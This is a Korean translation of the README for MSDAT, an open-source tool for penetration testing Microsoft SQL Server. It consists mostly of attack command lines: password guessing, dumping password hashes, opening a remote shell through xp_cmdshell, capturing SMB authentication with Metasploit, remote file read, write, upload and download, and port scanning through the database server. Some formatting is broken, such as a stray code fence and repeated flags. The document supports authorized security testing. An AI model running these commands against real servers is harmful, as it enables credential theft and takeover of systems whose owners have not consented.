
MSDAT: Microsoft SQL 데이터베이스 공격 도구
| Quentin HARDY |
|---|
| [email protected] |
| [email protected] |
MSDAT(Microsoft SQL Database Attacking Tool)은 원격으로 Microsoft SQL 데이터베이스의 보안을 테스트하는 오픈 소스 침투 테스트 도구입니다.
MSDAT 사용 예시:
Microsoft SQL 데이터베이스 2005, 2008, 2012, 2014, 2016 및 __2019__에서 테스트되었습니다.
MSDAT(Microsoft SQL Database Attacking Tool)을 사용하면 (포괄적이지 않은 목록):
MSDAT를 실행하려면 몇 가지 종속성이 설치되어야 합니다.
Ubuntu에서:
sudo apt-get install freetds-dev
또는 http://www.freetds.org/에서 freetds를 다운로드하세요.
Python 종속성 설치:
sudo pip3 install -r requirements.txt
sudo activate-global-python-argcomplete
또는
sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap
sudo pip3 install argcomplete && sudo activate-global-python-argcomplete
freetds 설정 파일(예: /etc/freetds/freetds.conf 또는 /usr/local/etc/freetds.conf)에 "use ntlmv2 = yes"를 추가하세요.
예:
[global]
# TDS 프로토콜 버전
tds version = 8.0
use ntlmv2 = yes
python3 msdat.py -h 2 ⨯
usage: msdat.py [-h] [--version]
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
...
_ _ __ __ _ ___
| \_/ |/ _|| \ / \|_ _|
| \_/ |\_ \| o ) o || |
|_| |_||__/|__/|_n_||_|
------------------------------------------------------
_ _ __ __ _ ___
| \_/ |/ _| | \ / \ |_ _|
| \_/ |\_ \ | o ) o | | |
|_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool
-------------------------------------------------------
By Quentin Hardy ([email protected])
positional arguments:
{all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner}
주 명령어를 선택하세요
all 가능한 작업을 확인하기 위해 모든 모듈을 실행합니다
mssqlinfo 인증 없이 정보를 가져옵니다
passwordguesser 유효한 자격 증명을 알아냅니다
passwordstealer 해시된 비밀번호를 가져옵니다
xpcmdshell 셸을 얻습니다
jobs 시스템 명령을 실행합니다
smbauthcapture SMB 인증을 캡처합니다
oleautomation 파일을 읽고 쓰고 시스템 명령을 실행합니다
bulkopen 파일을 읽고 포트를 스캔합니다
xpdirectory 파일/드라이브를 나열하고 디렉토리를 생성합니다
trustworthype trustworthy 데이터베이스 방법으로 sysadmin이 됩니다
userlikepwd DB에 저장된 각 MSSQL 사용자 이름을 해당 비밀번호로 시도합니다
search 열 이름에서 검색합니다
cleaner 로컬 추적을 정리합니다
optional arguments:
-h, --help 이 도움말 메시지를 표시하고 종료합니다
--version 프로그램의 버전 번호를 표시하고 종료합니다
./msdat.py -h
./msdat.py all -h
--test-module 옵션을 사용하여 특정 모듈을 MSSQL 서버에서 사용할 수 있는지 확인할 수 있습니다. 이 옵션은 각 mdat 모듈에 구현되어 있습니다.
all 모듈은 제공한 옵션에 따라 모든 모듈을 실행할 수 있습니다.
python msdat.py all -s $SERVER
원한다면:
./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry
각 모듈에서 --charset 옵션으로 사용할 문자 집합을 정의할 수 있습니다.
인증 없이 원격 MSSQL 서버의 기술 정보를 얻으려면:
./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info
이 모듈은 정보를 얻기 위해 TDS 프로토콜과 SQL 브라우저 서버를 사용합니다.
이 모듈을 사용하면 유효한 자격 증명을 검색할 수 있습니다:
./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search
--force-retry 옵션을 사용하면 각 사용자에 대해 여러 비밀번호를 묻지 않고 테스트할 수 있습니다.
--accounts-file 옵션으로 자신만의 계정 파일을 지정할 수 있습니다:
./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry
해시된 비밀번호를 덤프하려면:
./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt
이 모듈은 SQL Server 2000, 2005, 2008 및 2014에서 테스트되었습니다.
xp_cmdshell (https://msdn.microsoft.com/en-us/library/ms190693.aspx)을 이용한 시스템 명령 실행:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell
위 명령은 원격 데이터베이스 서버에서 대화형 셸을 제공합니다.
xp_cmdshell이 활성화되어 있지 않으면 이 모듈에서 --enable-xpcmdshell을 사용하여 활성화할 수 있습니다:
./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell
--enable-xpcmdshell 옵션은 xp_cmdshell이 활성화되어 있지 않은 경우 활성화합니다(기본적으로 비활성화됨).
--disable-xpcmdshell 옵션은 xp_cmdshell이 활성화된 경우 비활성화합니다.
이 모듈을 사용하면 SMB 인증을 캡처할 수 있습니다:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE
SMB 인증을 캡처하기 위해 metasploit의 auxiliary/server/capture/smb (http://www.rapid7.com/db/modules/auxiliary/server/capture/smb) 모듈을 사용할 수 있습니다:
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > exploit
이 모듈의 capture 명령은 xp_dirtree, xp_fileexist 또는 xp-getfiledetails 프로시저를 사용하여 SMB 인증을 캡처하려고 시도합니다.
인증을 캡처할 SMB 인증 프로시저를 선택하려면:
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1
./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1
--share-name 옵션으로 SHARE 이름을 변경할 수 있습니다.
이 모듈은 데이터베이스 서버에서 파일을 읽거나 쓰는 데 사용할 수 있습니다.
다음 명령은 데이터베이스 서버에 저장된 temp.txt 파일을 읽습니다:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'
원격으로 파일(temp.txt)에 문자열을 쓰려면:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf'
이 모듈을 사용하여 데이터베이스 서버에 저장된 파일(C:\Users\Administrator\Desktop\temp.txt)을 다운로드할 수 있습니다:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
또한 이 모듈을 사용하여 대상에 파일(temp.txt)을 업로드할 수 있습니다:
./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt
bulkopen 모듈은 다음과 같은 용도로 사용할 수 있습니다:
대상에 저장된 파일을 읽으려면 다음 명령을 사용할 수 있습니다:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'"
--method 옵션을 사용하여 사용할 방법을 지정할 수 있습니다:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset
파일(C:\Users\Administrator\Desktop\temp.txt)을 다운로드하려면: ``bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt
이 모듈을 사용하여 데이터베이스 서버를 통해 포트(127.0.0.1의 1433 및 1434)를 스캔할 수 있습니다:
```bash
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v
포트 범위를 스캔할 수도 있습니다:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438
이 모듈을 사용하여 데이터베이스($SERVER)를 통해 원격 데이터베이스 서버(예: $SERVER2)에서 SQL 요청(예: select @@ServerName)을 실행할 수 있습니다:
./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName'
xpdirectory 모듈은 다음과 같은 용도로 사용할 수 있습니다:
특정 디렉토리의 파일을 나열하려면:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\'
특정 디렉토리의 하위 디렉토리를 나열하려면:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\'
드라이브를 나열하려면:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media
파일이 존재하는지 확인하려면:
./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt'
디렉토리를 생성하려면:
./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp'
search 모듈은 테이블과 뷰의 열 이름에서 패턴을 검색하는 데 사용할 수 있습니다. 예를 들어 열 이름에서 패턴 *%password%*를 검색하는 데 유용합니다.
비밀번호 패턴(예: passwd, password, motdepasse, clave)이 포함된 열 이름을 가져오려면:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
데이터가 포함되지 않은 열 이름을 보려면 --show-empty-columns 옵션을 사용해야 합니다.
뷰 및 테이블의 열 이름에서 특정 패턴을 검색하려면:
./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns
제 작업을 지원하기 위해 기부를 원하신다면 매우 감사하겠습니다: